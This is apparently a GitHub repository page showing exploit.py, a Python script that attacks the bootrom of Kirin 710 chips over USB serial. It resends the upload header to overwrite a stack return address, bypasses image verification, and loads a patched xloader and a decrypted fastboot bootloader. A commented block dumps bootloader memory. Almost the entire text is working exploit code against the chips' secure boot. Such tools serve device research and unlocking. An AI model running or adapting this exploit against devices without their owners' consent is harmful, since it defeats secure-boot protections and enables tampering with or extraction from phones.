-
Notifications
You must be signed in to change notification settings - Fork 9
Expand file tree
/
Copy pathexploit.py
More file actions
214 lines (188 loc) · 6.13 KB
/
exploit.py
File metadata and controls
214 lines (188 loc) · 6.13 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
import serial, serial.tools.list_ports
import time, struct
import binascii
MAX_DATA_LEN = 0x400
#kirin 710
#exploit: head resend + patched xloader(with erased VRL header)
# 0xAA ACK
# 0x55 NAK
# 0x07 ADDR/SIZE ERR
def calc_crc(data, crc=0):
for char in data:
crc = ((crc << 8) | char) ^ binascii.crc_hqx(bytes([(crc >> 8) & 0xFF]), 0)
for i in range(0,2):
crc = ((crc << 8) | 0) ^ binascii.crc_hqx(bytes([(crc >> 8) & 0xFF]), 0)
return crc & 0xFFFF
def head_cmd(address, length):
#CMD(1), SEQ(1), ~SEQ(1), FILETYPE(1), LEN(4), ADDR(4), CRC(2)
cmd = struct.pack(">BBBBII", 0xFE, 0x00, 0xFF, 0x01, length, address)
cmd += calc_crc(cmd).to_bytes(length=2, byteorder="big")
return cmd
def data_cmd(seq, data):
#CMD(1), SEQ(1), ~SEQ(1), DATA(max1024), CRC(2)
cmd = struct.pack(">BBB", 0xDA, seq&0xFF, ~seq&0xFF)
cmd += data
cmd += calc_crc(cmd).to_bytes(length=2, byteorder="big")
return cmd
def tail_cmd(seq):
#CMD(1), SEQ(1), ~SEQ(1), CRC(2)
cmd = struct.pack(">BBB", 0xED, seq&0xFF, ~seq&0xFF)
cmd += calc_crc(cmd).to_bytes(length=2, byteorder="big")
return cmd
def inquiry_cmd(seq):
#CMD(1), SEQ(1), ~SEQ(1), CRC(2)
cmd = struct.pack(">BBB", 0xCD, seq&0xFF, ~seq&0xFF)
cmd += calc_crc(cmd).to_bytes(length=2, byteorder="big")
return cmd
def inquiry_patched_cmd(seq, address):
cmd = struct.pack(">BBB", 0xCD, seq&0xFF, ~seq&0xFF)
cmd += address.to_bytes(length=4, byteorder="little")
cmd += calc_crc(cmd).to_bytes(length=2, byteorder="big")
return cmd
def connect_device():
device = None
ports = serial.tools.list_ports.comports(include_links=False)
for port in ports:
if port.vid == 0x12D1 and port.pid == 0x3609:
device = port.device
print(device)
if device == None:
print("Device not found.")
exit()
return serial.Serial(port=device, baudrate=115200, dsrdtr=True, rtscts=True, timeout=1)
serialPort = connect_device()
rsp = serialPort.read(serialPort.in_waiting)
print(rsp)
#bootrom start 0x0
#bootrom end 0x10000
#sram start 0x20000
#sram end 0x80000
#stack start: 0x49bfc
def brom_exploit():
serialPort.write(head_cmd(0x22000, 4))
time.sleep(0.1)
rsp = serialPort.read(serialPort.in_waiting)
#print(rsp)
if rsp[0] != 0xaa:
print("Error setting fake address.")
exit()
serialPort.write(head_cmd(0x49BC8, 4))
time.sleep(0.1)
rsp = serialPort.read(serialPort.in_waiting)
#print(rsp)
if rsp[0] != 0x07:
print("Error setting real address, should have recieved address error.")
exit()
serialPort.write(data_cmd(1, int(0x2316d).to_bytes(length=4, byteorder="little")))
time.sleep(0.01)
rsp = serialPort.read(serialPort.in_waiting)
#print(rsp)
if rsp[0] != 0xaa:
print("Error completing upload.")
exit()
serialPort.write(tail_cmd(2))
time.sleep(0.1)
rsp = serialPort.read(serialPort.in_waiting)
#print(rsp)
def xupload(address, data, length, pwn=False):
seq = 1
offset = 0
flength = length
serialPort.write(head_cmd(address, length))
time.sleep(0.1)
rsp = serialPort.read(1)
#print(rsp)
if rsp[0] != 0xaa:
print("Error setting upload address and size.")
exit()
while length > MAX_DATA_LEN:
serialPort.write(data_cmd(seq, data[offset:seq*MAX_DATA_LEN]))
#time.sleep(0.01)
#rsp = serialPort.read(serialPort.in_waiting)
#print(rsp)
rsp = serialPort.read(1)
if rsp[0] != 0xaa:
print("Error uploading data.")
exit()
seq += 1
offset += MAX_DATA_LEN
length -= MAX_DATA_LEN
print(f"{flength-length} / {flength} bytes", end="\r")
if length:
serialPort.write(data_cmd(seq, data[offset:]))
#time.sleep(0.01)
#rsp = serialPort.read(serialPort.in_waiting)
#print(rsp)
rsp = serialPort.read(1)
if rsp[0] != 0xaa:
print("Error uploading data.")
exit()
seq += 1
length = 0
print(f"{flength-length} / {flength} bytes")
if pwn:
brom_exploit()
else:
serialPort.write(tail_cmd(seq))
time.sleep(0.1)
if length != 0:
rsp = serialPort.read(serialPort.in_waiting)
print(rsp)
if rsp[0] != 0xaa:
print("Error completing upload.")
exit()
try:
with open("xloader.img", "rb") as file:
loader = file.read()
loader_len = len(loader)
with open("uce.img", "rb") as file2:
loader2 = file2.read()
loader2_len = len(loader2)
except:
print("Error loading loaders.")
exit()
#Go through regular path with image verification for first time after boot to
#let bootrom power IP blocks needed for xloader to init.
xupload(0x22000, 0x0, 0x0, pwn=False)
#Wait for usb reinit
time.sleep(3)
serialPort = connect_device()
xupload(0x22000, loader, loader_len, pwn=True)
xupload(0x6000D000, loader2, loader2_len, pwn=False)
print("Downloaded xloader!\n")
try:
with open("fastbootdec.img", "rb") as file3:
bootloader = file3.read()
bootloader_len = len(bootloader)
except:
print("Error loading bootloader.")
exit()
xupload(0x1C000000, bootloader, bootloader_len, pwn=False)
print("Bootloader downloaded! Main CPU boots...")
##dump test##
#serialPort.write(head_cmd(0x30924, 20))
#time.sleep(0.01)
#rsp = serialPort.read(serialPort.in_waiting)
#serialPort.write(data_cmd(1, b"\x04\xF2\xD8\x30\xD4\xF8\xDB\x13\x40\xF2\x00\x42\xF3\xF7\x51\xF8\x00\xBF\x00\xBF"))
#time.sleep(0.01)
#rsp = serialPort.read(serialPort.in_waiting)
#
#serialPort.write(head_cmd(0x3093A, 6))
#time.sleep(0.01)
#rsp = serialPort.read(serialPort.in_waiting)
#serialPort.write(data_cmd(1, b"\x00\xBF\x40\xF2\x00\x42"))
#time.sleep(0.01)
#rsp = serialPort.read(serialPort.in_waiting)
#
#myfile = open('fastbootdec2.img', 'wb')
#addr = 0x1C000000
#final = 0x1C475800
#while addr != final:
# serialPort.write(inquiry_patched_cmd(2, addr))
# time.sleep(0.01)
# rsp = serialPort.read(serialPort.in_waiting)
# print(binascii.hexlify(rsp))
# myfile.write(rsp)
# addr += 0x400
#
#myfile.close()